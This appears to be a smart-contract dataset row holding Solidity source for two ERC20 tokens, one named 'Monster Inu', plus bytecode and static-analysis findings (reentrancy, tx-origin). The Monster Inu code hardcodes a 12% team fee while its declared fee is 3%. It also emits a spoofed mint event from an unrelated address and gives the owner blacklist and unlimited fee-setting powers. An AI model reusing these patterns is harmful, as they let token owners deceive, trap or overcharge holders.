address(0),
block.timestamp
);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd8014610576578063dd62ed3e1461058b578063ea1644d5146105d1578063f2fde38b146105f157600080fd5b806395d89b41146104d957806398a5c31514610506578063a9059cbb14610526578063bfd792841461054657600080fd5b80638da5cb5b116100d15780638da5cb5b146104705780638eb59a5f1461048e5780638f70ccf7146104a35780638f9a55c0146104c357600080fd5b8063715018a61461042557806374010ece1461043a5780637d1db4a51461045a57600080fd5b80632fd689e31161016f578063672434821161013e578063672434821461038f5780636b999053146103af5780636d8aa8f8146103cf57806370a08231146103ef57600080fd5b80632fd689e31461031d578063313ce5671461033357806349bd5a5e1461034f578063658d4b7f1461036f57600080fd5b80630b78f9c0116101ab5780630b78f9c0146102865780631694505e146102a657806318160ddd146102de57806323b872dd146102fd57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461025657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611c74565b610611565b005b34801561020a57600080fd5b5060408051808201909152601981527f506f6f722041706520486f6e646120436976696320436c75620000000000000060208201525b60405161024d9190611dbb565b60405180910390f35b34801561026257600080fd5b50610276610271366004611be0565b6106be565b604051901515815260200161024d565b34801561029257600080fd5b506101fc6102a1366004611d6d565b6106d5565b3480156102b257600080fd5b50600c546102c6906001600160a01b031681565b6040516001600160a01b03909116815260200161024d565b3480156102ea57600080fd5b506005545b60405190815260200161024d565b34801561030957600080fd5b50610276610318366004611b6c565b61070a565b34801561032957600080fd5b506102ef60105481565b34801561033f57600080fd5b506040516009815260200161024d565b34801561035b57600080fd5b50600d546102c6906001600160a01b031681565b34801561037b57600080fd5b506101fc61038a366004611bac565b610773565b34801561039b57600080fd5b506101fc6103aa366004611c0b565b6107c8565b3480156103bb57600080fd5b506101fc6103ca366004611afc565b61087c565b3480156103db57600080fd5b506101fc6103ea366004611d3b565b6108c7565b3480156103fb57600080fd5b506102ef61040a366004611afc565b6001600160a01b031660009081526001602052604090205490565b34801561043157600080fd5b506101fc61090f565b34801561044657600080fd5b506101fc610455366004611d55565b610945565b34801561046657600080fd5b506102ef600e5481565b34801561047c57600080fd5b506000546001600160a01b03166102c6565b34801561049a57600080fd5b506101fc610974565b3480156104af57600080fd5b506101fc6104be366004611d3b565b6109bf565b3480156104cf57600080fd5b506102ef600f5481565b3480156104e557600080fd5b506040805180820190915260048152635041504560e01b6020820152610240565b34801561051257600080fd5b506101fc610521366004611d55565b610a07565b34801561053257600080fd5b50610276610541366004611be0565b610a36565b34801561055257600080fd5b50610276610561366004611afc565b600a6020526000908152604090205460ff1681565b34801561058257600080fd5b506101fc610a43565b34801561059757600080fd5b506102ef6105a6366004611b34565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105dd57600080fd5b506101fc6105ec366004611d55565b610a89565b3480156105fd57600080fd5b506101fc61060c366004611afc565b610ab8565b6000546001600160a01b031633146106445760405162461bcd60e51b815260040161063b90611e0e565b60405180910390fd5b60005b81518110156106ba576001600a600084848151811061067657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b281611f21565b915050610647565b5050565b60006106cb338484610bd3565b5060015b92915050565b6000546001600160a01b031633146106ff5760405162461bcd60e51b815260040161063b90611e0e565b600691909155600755565b6000610717848484610cf7565b610769843361076485604051806060016040528060288152602001611f7e602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906112c9565b610bd3565b5060019392505050565b6000546001600160a01b0316331461079d5760405162461bcd60e51b815260040161063b90611e0e565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107f25760405162461bcd60e51b815260040161063b90611e0e565b60005b83811015610875576108623386868481811061082157634e487b7160e01b600052603260045260246000fd5b90506020020160208101906108369190611afc565b85858581811061085657634e487b7160e01b600052603260045260246000fd5b90506020020135611303565b508061086d81611f21565b9150506107f5565b5050505050565b6000546001600160a01b031633146108a65760405162461bcd60e51b815260040161063b90611e0e565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146108f15760405162461bcd60e51b815260040161063b90611e0e565b600d8054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b031633146109395760405162461bcd60e51b815260040161063b90611e0e565b61094360006113e9565b565b6000546001600160a01b0316331461096f5760405162461bcd60e51b815260040161063b90611e0e565b600e55565b6000546001600160a01b0316331461099e5760405162461bcd60e51b815260040161063b90611e0e565b600d805460ff60b81b198116600160b81b9182900460ff1615909102179055565b6000546001600160a01b031633146109e95760405162461bcd60e51b815260040161063b90611e0e565b600d8054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610a315760405162461bcd60e51b815260040161063b90611e0e565b601055565b60006106cb338484610cf7565b6000546001600160a01b03163314610a6d5760405162461bcd60e51b815260040161063b90611e0e565b30600090815260016020526040902054610a8681611439565b50565b6000546001600160a01b03163314610ab35760405162461bcd60e51b815260040161063b90611e0e565b600f55565b6000546001600160a01b03163314610ae25760405162461bcd60e51b815260040161063b90611e0e565b6001600160a01b038116610b475760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161063b565b600060046000610b5f6000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610b90816113e9565b600160046000610ba86000546001600160a01b031690565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905550565b6001600160a01b038316610c355760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063b565b6001600160a01b038216610c965760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063b565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d5b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063b565b6001600160a01b038216610dbd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063b565b60008111610e1f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161063b565b6001600160a01b03821660009081526004602052604090205460ff16158015610e6157506001600160a01b03831660009081526004602052604090205460ff16155b156111a457600d54600160a01b900460ff16610ebf5760405162461bcd60e51b815260206004820152601e60248201527f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000604482015260640161063b565b600e54811115610f115760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161063b565b6001600160a01b0383166000908152600a602052604090205460ff16158015610f5357506001600160a01b0382166000908152600a602052604090205460ff16155b610fab5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161063b565b600d546001600160a01b0383811691161461111957600d546001600160a01b038481169116148015610fe65750600d54600160b81b900460ff165b15611093573260009081526002602052604090205442906110089060b4611eb3565b10801561103857506001600160a01b03821660009081526002602052604090205442906110369060b4611eb3565b105b6110935760405162461bcd60e51b815260206004820152602660248201527f544f4b454e3a2033206d696e7574657320636f6f6c646f776e206265747765656044820152656e206275797360d01b606482015260840161063b565b600f54816110b6846001600160a01b031660009081526001602052604090205490565b6110c09190611eb3565b106111195760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161063b565b30600090815260016020526040902054601054811080159061113b5760105491505b8080156111525750600d54600160a81b900460ff16155b801561116c5750600d546001600160a01b03868116911614155b80156111815750600d54600160b01b900460ff165b156111a15761118f82611439565b47801561119f5761119f4761163d565b505b50505b6001600160a01b03831660009081526004602052604090205460019060ff16806111e657506001600160a01b03831660009081526004602052604090205460ff165b806112185750600d546001600160a01b038581169116148015906112185750600d546001600160a01b03848116911614155b1561122557506000611293565b600d546001600160a01b0385811691161480156112505750600c546001600160a01b03848116911614155b1561125c576006546008555b600d546001600160a01b0384811691161480156112875750600c546001600160a01b03858116911614155b15611293576007546008555b3260009081526002602052604080822042908190556001600160a01b03861683529120556112c384848484611677565b50505050565b600081848411156112ed5760405162461bcd60e51b815260040161063b9190611dbb565b5060006112fa8486611f0a565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526001909152918220546113549184906112c9565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546113839083611698565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113d79086815260200190565b60405180910390a35060019392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600d805460ff60a81b1916600160a81b1790556000611464606461145e8460556116fe565b9061177d565b905060006114728284611f0a565b604080516002808252606082018352929350479260009260208301908036833701905050905030816000815181106114ba57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150e57600080fd5b505afa158015611522573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115469190611b18565b8160018151811061156757634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600c5461158d9130911687610bd3565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906115c6908790600090869030904290600401611e43565b600060405180830381600087803b1580156115e057600080fd5b505af11580156115f4573d6000803e3d6000fd5b50505050600061160d83476117bf90919063ffffffff16565b905061162884611623606461145e85600f6116fe565b611801565b5050600d805460ff60a81b1916905550505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106ba573d6000803e3d6000fd5b8061168d57611687848484611303565b506112c3565b6112c38484846118ba565b6000806116a58385611eb3565b9050838110156116f75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161063b565b9392505050565b60008261170d575060006106cf565b60006117198385611eeb565b9050826117268583611ecb565b146116f75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161063b565b60006116f783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119bf565b60006116f783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112c9565b600c546118199030906001600160a01b031684610bd3565b600c5460405163f305d71960e01b8152306004820152602481018490526000604482018190526064820181905260848201524260a48201526001600160a01b039091169063f305d71990839060c4016060604051808303818588803b15801561188157600080fd5b505af1158015611895573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108759190611d8e565b60006118c684836119ed565b905061192e8260405180604001604052806014815260200173496e73756666696369656e742042616c616e636560601b81525060016000886001600160a01b03166001600160a01b03168152602001908152602001600020546112c99092919063ffffffff16565b6001600160a01b03808616600090815260016020526040808220939093559085168152205461195d9082611698565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119b19085815260200190565b60405180910390a350505050565b600081836119e05760405162461bcd60e51b815260040161063b9190611dbb565b5060006112fa8486611ecb565b600080611a0a606461145e600854866116fe90919063ffffffff16565b30600090815260016020526040902054909150611a279082611698565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611a789085815260200190565b60405180910390a3611a8a83826117bf565b949350505050565b8035611a9d81611f68565b919050565b60008083601f840112611ab3578081fd5b50813567ffffffffffffffff811115611aca578182fd5b6020830191508360208260051b8501011115611ae557600080fd5b9250929050565b80358015158114611a9d57600080fd5b600060208284031215611b0d578081fd5b81356116f781611f68565b600060208284031215611b29578081fd5b81516116f781611f68565b60008060408385031215611b46578081fd5b8235611b5181611f68565b91506020830135611b6181611f68565b809150509250929050565b600080600060608486031215611b80578081fd5b8335611b8b81611f68565b92506020840135611b9b81611f68565b929592945050506040919091013590565b60008060408385031215611bbe578182fd5b8235611bc981611f68565b9150611bd760208401611aec565b90509250929050565b60008060408385031215611bf2578182fd5b8235611bfd81611f68565b946020939093013593505050565b60008060008060408587031215611c20578081fd5b843567ffffffffffffffff80821115611c37578283fd5b611c4388838901611aa2565b90965094506020870135915080821115611c5b578283fd5b50611c6887828801611aa2565b95989497509550505050565b60006020808385031215611c86578182fd5b823567ffffffffffffffff80821115611c9d578384fd5b818501915085601f830112611cb0578384fd5b813581811115611cc257611cc2611f52565b8060051b604051601f19603f83011681018181108582111715611ce757611ce7611f52565b604052828152858101935084860182860187018a1015611d05578788fd5b8795505b83861015611d2e57611d1a81611a92565b855260019590950194938601938601611d09565b5098975050505050505050565b600060208284031215611d4c578081fd5b6116f782611aec565b600060208284031215611d66578081fd5b5035919050565b60008060408385031215611d7f578182fd5b50508035926020909101359150565b600080600060608486031215611da2578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611de757858101830151858201604001528201611dcb565b81811115611df85783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611e925784516001600160a01b031683529383019391830191600101611e6d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ec657611ec6611f3c565b500190565b600082611ee657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611f0557611f05611f3c565b500290565b600082821015611f1c57611f1c611f3c565b500390565b6000600019821415611f3557611f35611f3c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a8657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f43e2466e8cb944e554c5a165c70353a6ebee72891e0b3050f3d58ede7dd4d4f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,405 |
0x74712a17615a00A73fa51e807B93273759a6B1Ad
|
/**
*Submitted for verification at Etherscan.io on 2021-07-14
*/
/*
🎯 🎯 Social Links:
🌐 Website : https://monsterinu.finance/
📲 Telegram Chat :https://t.me/MonsterinuCommunity
📲 Telegram Channel : https://t.me/MonsterinuAnn
💻 Twitter : https://twitter.com/MonsterinuFi
Token info:
• Name: Monster Inu
• Symbol: MonsterinuFi
• Token Type: ERC20
• Total Supply: 1,000,000,000,000
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MonsterInuFi is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Monster Inu";
string private constant _symbol = "MonsterinuFi";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0x8a6efA1536e50DA64E84849F5DF90C1145e6b252), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 12);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
/*
🎯 🎯 Social Links:
🌐 Website : https://monsterinu.finance/
📲 Telegram Chat :https://t.me/MonsterinuCommunity
📲 Telegram Channel : https://t.me/MonsterinuAnn
💻 Twitter : https://twitter.com/MonsterinuFi
Token info:
• Name: Monster Inu
• Symbol: MonsterinuFi
• Token Type: ERC20
• Total Supply: 1,000,000,000,000
*/
|
